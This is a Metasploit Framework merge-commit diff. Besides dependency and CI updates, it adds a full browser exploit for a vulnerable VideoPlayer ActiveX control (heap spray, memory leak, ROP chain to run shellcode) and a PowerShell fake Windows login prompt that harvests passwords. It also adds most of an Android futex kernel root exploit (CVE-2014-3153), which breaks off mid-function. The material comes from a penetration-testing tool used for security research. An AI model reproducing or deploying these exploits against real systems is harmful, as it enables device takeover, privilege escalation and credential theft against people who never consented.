Merge branch 'master' into land-4706-smb_reflector

bug/bundler_fix
Brent Cook 2015-02-20 10:26:04 -06:00
commit b624278f9d
328 changed files with 12379 additions and 3998 deletions

View File

@ -11,11 +11,10 @@ matrix:
before_install:
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
- rake --version
# Uncomment when we have fewer shipping msftidy warnings.
# Merge committers will still be checking, just not autofailing.
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
# - ls -la ./.git/hooks
# - ./.git/hooks/post-merge
# Fail build if msftidy is not successful
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
- ls -la ./.git/hooks
- ./.git/hooks/post-merge
before_script:
- cp config/database.yml.travis config/database.yml
- bundle exec rake --version
@ -26,7 +25,6 @@ script:
- git diff --exit-code && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '1.9.3'
- '2.1'
notifications:

View File

@ -8,8 +8,8 @@ PATH
jsobfu (~> 0.2.0)
json
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
meterpreter_bins (= 0.0.13)
metasploit-model (~> 0.29.0)
meterpreter_bins (= 0.0.14)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -22,9 +22,9 @@ PATH
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (~> 0.13.16)
metasploit-credential (~> 0.14.0)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.22.5)
metasploit_data_models (~> 0.23.0)
pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
@ -68,7 +68,7 @@ GEM
childprocess (>= 0.3.6)
cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0)
bcrypt (3.1.9)
bcrypt (3.1.10)
builder (3.0.4)
capybara (2.4.1)
mime-types (>= 1.16)
@ -101,7 +101,7 @@ GEM
gherkin (2.11.6)
json (>= 1.7.6)
hike (1.2.3)
i18n (0.7.0)
i18n (0.6.11)
journey (1.0.4)
jsobfu (0.2.1)
rkelly-remix (= 0.0.6)
@ -112,31 +112,31 @@ GEM
metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.13.16)
metasploit-credential (0.14.0)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit_data_models (~> 0.22.5)
metasploit-model (~> 0.29.0)
metasploit_data_models (~> 0.23.0)
pg
railties (< 4.0.0)
rubyntlm
rubyzip (~> 1.1)
metasploit-model (0.28.0)
metasploit-model (0.29.0)
activesupport
railties (< 4.0.0)
metasploit_data_models (0.22.5)
metasploit_data_models (0.23.0)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit-model (~> 0.29.0)
pg
railties (< 4.0.0)
recog (~> 1.0)
meterpreter_bins (0.0.13)
meterpreter_bins (0.0.14)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.2)
msgpack (0.5.9)
mini_portile (0.6.1)
msgpack (0.5.11)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.6.5)
@ -172,10 +172,10 @@ GEM
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
rake (10.4.2)
rb-readline (0.5.1)
rb-readline (0.5.2)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.7)
recog (1.0.16)
nokogiri
redcarpet (3.1.2)
rkelly-remix (0.0.6)
@ -200,7 +200,7 @@ GEM
rspec-expectations (~> 2.99.0)
rspec-mocks (~> 2.99.0)
rubyntlm (0.4.0)
rubyzip (1.1.6)
rubyzip (1.1.7)
shoulda-matchers (2.6.2)
simplecov (0.5.4)
multi_json (~> 1.0.3)

View File

@ -1,4 +1,4 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
data/exploits/CVE-2014-3153.elf Executable file

Binary file not shown.

View File

@ -0,0 +1,126 @@
var Exploit = function () {
// create its vulnerable ActiveX object (as HTMLObjectElement)
this.obj = document.createElement("object");
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
// perform controlled memwrite to 0x1111f010: typed array header is at
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
// The first 3 dwords are sideeffects due to the code we abuse for the
// controlled memcpy
this.whereAddress = 0x1111f010;
this.memory = null;
this.addresses = new Object();
this.sprayer = null;
this.informer = null;
this.sc = "<%=shellcode%>";
};
Exploit.prototype.run = function() {
CollectGarbage();
this.sprayer = new Sprayer();
this.sprayer.spray();
this.memory = this.doCorruption();
//alert(this.memory.length.toString(16))
if (this.memory.length != 0x7fffffff){
//alert("Cannot change Uint32Array length");
return -1;
}
// now we could even repair the change we did with memcpy ...
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
var leakSuccess = this.leakAddresses();
if (leakSuccess != 0) {
//alert("Cannot leak required address to build the ROP chain");
return leakSuccess;
}
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
ropBuilder.buildRop();
// manipulate object data to gain EIP control with "Play" method
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
this.obj.Play()
};
Exploit.prototype.prepareOverflow = function() {
// prepare buffer with address we want to write to
var ptrBuf = "";
// fill buffer: length = relative pointer address - buffer start + pointer
// offset
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
ptrBuf += this.dword2str(this.whereAddress);
return ptrBuf;
};
Exploit.prototype.doCorruption = function() {
var ptrBuf = this.prepareOverflow();
// trigger: overflow buffer and overwrite the pointer value after buffer
this.obj.SetText(ptrBuf, 0, 0);
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
// use overwritten pointer after buffer with method "SetFontName" to conduct
// memory write. We overwrite a typed array's header length to 0x40 and let
// its buffer point to the next typed array header at 0x1111f030 (see above)
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
if (this.sprayer.find() == -1){
//alert("cannot find corrupted Uint32Array");
return -1
}
// modify subsequent Uint32Array to be able to RW all process memory
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
// our memory READWRITE interface :)
return this.sprayer.fullMemory;
};
Exploit.prototype.leakAddresses = function() {
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
// check if we have the image of VideoPlayer.ocx
// check for MZ9000 header and "Vide" string at offset 0x6a000
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
return -1;
}
//alert(this.addresses['base'].toString(16))
// get VirtualAlloc from imports of VideoPlayer.ocx
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
// memcpy is available inside VideoPlayer.ocx
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
scBuf = new Uint8Array(this.sc.length);
for (n=0; n < this.sc.length; n++){
scBuf[n] = this.sc.charCodeAt(n);
}
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
return 0;
};
// dword to little endian string
Exploit.prototype.dword2str = function(dword) {
var str = "";
for (var n=0; n < 4; n++){
str += String.fromCharCode((dword >> 8 * n) & 0xff);
}
return str;
};

View File

@ -0,0 +1,52 @@
var Informer = function(infArray, mem, ref) {
this.infoLeakArray = infArray;
this.memoryArray = mem;
this.referenceAddress = ref;
};
// Calculate VideoPlayer.ocx base
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
// deref heap pointer containing VideoPlayer.ocx pointer
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
var base = videoplayerPtr - 0x6b3b0; // calculate base
return base;
};
// Calculate VideoPlayer object addres
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
return objPtr;
};
// Calculate the shellcode address
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
this.infoLeakArray[0] = shellcodeBuffer;
// therefore, leak array element at 0x11120020 (typed array header of
// Uint8Array containing shellcode) ...
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
// ...and deref array element + 0x1c (=> leak shellcode's buffer address)
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]
return shellcodeAddr;
};
Informer.prototype.leakRopAddress = function(ropArray) {
this.infoLeakArray[0] = ropArray
// leak array element at 0x11120020 (typed array header)
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
// deref array element + 0x1c (leak rop's buffer address)
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address
return ropAddr;
};

View File

@ -0,0 +1,38 @@
var RopBuilder = function(informer, addresses, scLength) {
this.rop = new Uint32Array(0x1000);
this.ropAddress = informer.leakRopAddress(this.rop);
this.base = addresses['base'];
this.virtualAlloc = addresses['virtualAlloc'];
this.memcpy = addresses['memcpy'];
this.scAddr = addresses['shellcode'];
this.scLength = scLength;
};
// Build the ROP chain to bypass DEP
RopBuilder.prototype.buildRop = function() {
// ROP chain (rets in comments are omitted)
// we perform:
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
// memcpy(EAX, shellcode, shellcodeLen)
// (void(*)())EAX()
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
this.rop[offs + 0x3] = 0; // lpAddress
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000)
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
this.rop[offs + 0xc] = this.memcpy;
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
};

View File

@ -0,0 +1,58 @@
var Sprayer = function () {
// amount of arrays to create on the heap
this.nrArrays = 0x1000;
// size of data in one array block: 0xefe0 bytes =>
// subract array header (0x20) and space for typed array headers (0x1000)
// from 0x10000
this.arrSize = (0x10000-0x20-0x1000)/4;
// heap array container will hold our heap sprayed data
this.arr = new Array(this.nrArrays);
// use one buffer for all typed arrays
this.intArrBuf = new ArrayBuffer(4);
this.corruptedArray = null;
this.corruptedArrayNext = null;
};
// Spray the heap with array data blocks and subsequent typed array headers
// of type Uint32Array
Sprayer.prototype.spray = function() {
var k = 0;
while(k < this.nrArrays) {
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
// aligned at 0xXXXX0020)
this.arr[k] = new Array(this.arrSize);
// fill remaining page (0x1000) after array data with headers of
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
// typed array header has the size of 0x30. 0x10 bytes are left empty
for(var i = 0; i < 0x55; i++){
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
}
// tag the array's last element
this.arr[k][this.arrSize - 1] = 0x12121212;
k += 1;
}
};
// Find the corrupted Uint32Array (typed array)
Sprayer.prototype.find = function() {
var k = 0;
while(k < this.nrArrays - 1) {
for(var i = 0; i < 0x55-1; i++){
if(this.arr[k][i][0] != 0){
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
// alert("0x" + arr[k][i][0].toString(16))
this.corruptedArray = this.arr[k][i];
this.corruptedArrayNext = this.arr[k+1];
this.fullMemory = this.arr[k][i+1];
return 1;
}
}
k++;
}
return -1;
};

View File

@ -0,0 +1,11 @@
<!DOCTYPE html>
<html>
<head>
<script src="js/exploit.js"></script>
<script src="js/sprayer.js"></script>
<script src="js/informer.js"></script>
<script src="js/rop_builder.js"></script>
</head>
<body onload="e = new Exploit(); e.run();">
</body>
</html>

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,22 @@
function Invoke-LoginPrompt{
$cred = $Host.ui.PromptForCredential("Windows Security", "R{DESCRIPTION}", "$env:userdomain\$env:username","")
$username = "$env:username"
$domain = "$env:userdomain"
$full = "$domain" + "\" + "$username"
$password = $cred.GetNetworkCredential().password
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
while($DS.ValidateCredentials("$full","$password") -ne $True){
$cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
$username = "$env:username"
$domain = "$env:userdomain"
$full = "$domain" + "\" + "$username"
$password = $cred.GetNetworkCredential().password
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
$DS.ValidateCredentials("$full", "$password") | out-null
}
$output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password
$output
R{START_PROCESS}
}

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20150112203945) do
ActiveRecord::Schema.define(:version => 20150212214222) do
create_table "api_keys", :force => true do |t|
t.text "token"

View File

@ -0,0 +1,10 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := exploit
LOCAL_SRC_FILES := exploit.c
LOCAL_CFLAGS := -fno-stack-protector -O0
include $(BUILD_EXECUTABLE)

View File

@ -0,0 +1,17 @@
all: install
build:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
install: build
mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf
test: build
adb push libs/armeabi/exploit /data/local/tmp/exploit
adb shell "cd /data/local/tmp; ./exploit id"
clean:
rm -rf libs
rm -rf obj

View File

@ -0,0 +1,834 @@
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
#define KERNEL_START 0xc0000000
#define LOCAL_PORT 5551
struct thread_info;
struct task_struct;
struct cred;
struct kernel_cap_struct;
struct task_security_struct;
struct list_head;
struct thread_info {
unsigned long flags;
int preempt_count;
unsigned long addr_limit;
struct task_struct *task;
/* ... */
};
struct kernel_cap_struct {
unsigned long cap[2];
};
struct cred {
unsigned long usage;
uid_t uid;
gid_t gid;
uid_t suid;
gid_t sgid;
uid_t euid;
gid_t egid;
uid_t fsuid;
gid_t fsgid;
unsigned long securebits;
struct kernel_cap_struct cap_inheritable;
struct kernel_cap_struct cap_permitted;
struct kernel_cap_struct cap_effective;
struct kernel_cap_struct cap_bset;
unsigned char jit_keyring;
void *thread_keyring;
void *request_key_auth;
void *tgcred;
struct task_security_struct *security;
/* ... */
};
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct task_security_struct {
unsigned long osid;
unsigned long sid;
unsigned long exec_sid;
unsigned long create_sid;
unsigned long keycreate_sid;
unsigned long sockcreate_sid;
};
struct task_struct_partial {
struct list_head cpu_timers[3];
struct cred *real_cred;
struct cred *cred;
struct cred *replacement_session_keyring;
char comm[16];
};
struct mmsghdr {
struct msghdr msg_hdr;
unsigned int msg_len;
};
//bss
int uaddr1 = 0;
int uaddr2 = 0;
struct thread_info *HACKS_final_stack_base = NULL;
pid_t waiter_thread_tid;
pthread_mutex_t done_lock;
pthread_cond_t done;
pthread_mutex_t is_thread_desched_lock;
pthread_cond_t is_thread_desched;
volatile int do_socket_tid_read = 0;
volatile int did_socket_tid_read = 0;
volatile int do_splice_tid_read = 0;
volatile int did_splice_tid_read = 0;
volatile int do_dm_tid_read = 0;
volatile int did_dm_tid_read = 0;
pthread_mutex_t is_thread_awake_lock;
pthread_cond_t is_thread_awake;
int HACKS_fdm = 0;
unsigned long MAGIC = 0;
unsigned long MAGIC_ALT = 0;
pthread_mutex_t *is_kernel_writing;
pid_t last_tid = 0;
int g_argc;
char rootcmd[2048] = "";
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
len = write(pipefd[1], writebuf, count);
if (len != count) {
printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
while (1) {
sleep(10);
}
}
read(pipefd[0], readbuf, count);
close(pipefd[0]);
close(pipefd[1]);
return len;
}
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
write(pipefd[1], writebuf, count);
len = read(pipefd[0], readbuf, count);
if (len != count) {
printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
while (1) {
sleep(10);
}
}
close(pipefd[0]);
close(pipefd[1]);
return len;
}
void write_kernel(int signum)
{
struct thread_info stackbuf;
unsigned long taskbuf[0x100];
struct cred *cred;
struct cred credbuf;
struct task_security_struct *security;
struct task_security_struct securitybuf;
pid_t pid;
int i;
int ret;
FILE *fp;
pthread_mutex_lock(&is_thread_awake_lock);
pthread_cond_signal(&is_thread_awake);
pthread_mutex_unlock(&is_thread_awake_lock);
if (HACKS_final_stack_base == NULL) {
static unsigned long new_addr_limit = 0xffffffff;
char *slavename;
int pipefd[2];
char readbuf[0x100];
printf("cpid1 resumed\n");
pthread_mutex_lock(is_kernel_writing);
HACKS_fdm = open("/dev/ptmx", O_RDWR);
unlockpt(HACKS_fdm);
slavename = ptsname(HACKS_fdm);
open(slavename, O_RDWR);
do_splice_tid_read = 1;
while (1) {
if (did_splice_tid_read != 0) {
break;
}
}
read(HACKS_fdm, readbuf, sizeof readbuf);
printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit);
write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);
pthread_mutex_unlock(is_kernel_writing);
while (1) {
sleep(10);
}
}
printf("cpid3 resumed.\n");
pthread_mutex_lock(is_kernel_writing);
printf("hack.\n");
read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
read_pipe(stackbuf.task, taskbuf, sizeof taskbuf);
cred = NULL;
security = NULL;
pid = 0;
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
struct task_struct_partial *task = (void *)&taskbuf[i];
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
&& task->real_cred == task->cred) {
cred = task->cred;
break;
}
}
read_pipe(cred, &credbuf, sizeof credbuf);
security = credbuf.security;
if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
read_pipe(security, &securitybuf, sizeof securitybuf);
if (securitybuf.osid != 0
&& securitybuf.sid != 0
&& securitybuf.exec_sid == 0
&& securitybuf.create_sid == 0
&& securitybuf.keycreate_sid == 0
&& securitybuf.sockcreate_sid == 0) {
securitybuf.osid = 1;
securitybuf.sid = 1;
printf("task_security_struct: %p\n", security);
write_pipe(security, &securitybuf, sizeof securitybuf);
}
}
credbuf.uid = 0;
credbuf.gid = 0;
credbuf.suid = 0;
credbuf.sgid = 0;
credbuf.euid = 0;
credbuf.egid = 0;
credbuf.fsuid = 0;
credbuf.fsgid = 0;
credbuf.cap_inheritable.cap[0] = 0xffffffff;
credbuf.cap_inheritable.cap[1] = 0xffffffff;
credbuf.cap_permitted.cap[0] = 0xffffffff;
credbuf.cap_permitted.cap[1] = 0xffffffff;
credbuf.cap_effective.cap[0] = 0xffffffff;
credbuf.cap_effective.cap[1] = 0xffffffff;
credbuf.cap_bset.cap[0] = 0xffffffff;
credbuf.cap_bset.cap[1] = 0xffffffff;
write_pipe(cred, &credbuf, sizeof credbuf);
pid = syscall(__NR_gettid);
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
static unsigned long write_value = 1;
if (taskbuf[i] == pid) {
write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);
if (getuid() != 0) {
printf("ROOT FAILED\n");
while (1) {
sleep(10);
}
} else { //rooted
break;
}
}
}
sleep(1);
if (g_argc >= 2) {
system(rootcmd);
} else {
system("/system/bin/sh -i");
}
system("/system/bin/touch /dev/rooted");
pid = fork();
if (pid == 0) {
while (1) {
ret = access("/dev/rooted", F_OK);
if (ret >= 0) {
break;
}
}
printf("wait 10 seconds...\n");
sleep(10);
printf("rebooting...\n");
sleep(1);
system("reboot");
while (1) {
sleep(10);
}
}
pthread_mutex_lock(&done_lock);
pthread_cond_signal(&done);
pthread_mutex_unlock(&done_lock);
while (1) {
sleep(10);
}
return;
}
void *make_action(void *arg) {
int prio;
struct sigaction act;
int ret;
prio = (int)arg;
last_tid = syscall(__NR_gettid);
pthread_mutex_lock(&is_thread_desched_lock);
pthread_cond_signal(&is_thread_desched);
act.sa_handler = write_kernel;
act.sa_mask = 0;
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(12, &act, NULL);
setpriority(PRIO_PROCESS, 0, prio);
pthread_mutex_unlock(&is_thread_desched_lock);
do_dm_tid_read = 1;
while (did_dm_tid_read == 0) {
;
}
ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
printf("futex dm: %d\n", ret);
while (1) {
sleep(10);
}
return NULL;
}
pid_t wake_actionthread(int prio) {
pthread_t th4;
pid_t pid;
char filename[256];
FILE *fp;
char filebuf[0x1000];
char *pdest;
int vcscnt, vcscnt2;
do_dm_tid_read = 0;
did_dm_tid_read = 0;
pthread_mutex_lock(&is_thread_desched_lock);
pthread_create(&th4, 0, make_action, (void *)prio);
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
pid = last_tid;
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
while (do_dm_tid_read == 0) {
usleep(10);
}
did_dm_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 == vcscnt + 1) {
break;
}
usleep(10);
}
pthread_mutex_unlock(&is_thread_desched_lock);
return pid;
}
int make_socket() {
int sockfd;
struct sockaddr_in addr = {0};
int ret;
int sock_buf_size;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
if (sockfd < 0) {
printf("socket failed.\n");
usleep(10);
} else {
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
}
while (1) {
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
if (ret >= 0) {
break;
}
usleep(10);
}
sock_buf_size = 1;
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
return sockfd;
}
void *send_magicmsg(void *arg) {
int sockfd;
struct mmsghdr msgvec[1];
struct iovec msg_iov[8];
unsigned long databuf[0x20];
int i;
int ret;
waiter_thread_tid = syscall(__NR_gettid);
setpriority(PRIO_PROCESS, 0, 12);
sockfd = make_socket();
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
databuf[i] = MAGIC;
}
for (i = 0; i < 8; i++) {
msg_iov[i].iov_base = (void *)MAGIC;
msg_iov[i].iov_len = 0x10;
}
msgvec[0].msg_hdr.msg_name = databuf;
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
msgvec[0].msg_hdr.msg_iov = msg_iov;
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
msgvec[0].msg_hdr.msg_control = databuf;
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
msgvec[0].msg_hdr.msg_flags = 0;
msgvec[0].msg_len = 0;
syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0);
do_socket_tid_read = 1;
while (1) {
if (did_socket_tid_read != 0) {
break;
}
}
ret = 0;
while (1) {
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
if (ret <= 0) {
break;
}
}
if (ret < 0) {
perror("SOCKSHIT");
}
printf("EXIT WTF\n");
while (1) {
sleep(10);
}
return NULL;
}
static inline setup_exploit(unsigned long mem)
{
*((unsigned long *)(mem - 0x04)) = 0x81;
*((unsigned long *)(mem + 0x00)) = mem + 0x20;
*((unsigned long *)(mem + 0x08)) = mem + 0x28;
*((unsigned long *)(mem + 0x1c)) = 0x85;
*((unsigned long *)(mem + 0x24)) = mem;
*((unsigned long *)(mem + 0x2c)) = mem + 8;
}
void *search_goodnum(void *arg) {
int ret;
char filename[256];
FILE *fp;
char filebuf[0x1000];
char *pdest;
int vcscnt, vcscnt2;
unsigned long magicval;
pid_t pid;
unsigned long goodval, goodval2;
unsigned long addr, setaddr;
int i;
char buf[0x1000];
syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
while (1) {
ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1);
if (ret == 1) {
break;
}
usleep(10);
}
wake_actionthread(6);
wake_actionthread(7);
uaddr2 = 0;
do_socket_tid_read = 0;
did_socket_tid_read = 0;
syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2);
while (1) {
if (do_socket_tid_read != 0) {
break;
}
}
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
did_socket_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 == vcscnt + 1) {
break;
}
usleep(10);
}
printf("starting the dangerous things\n");
setup_exploit(MAGIC_ALT);
setup_exploit(MAGIC);
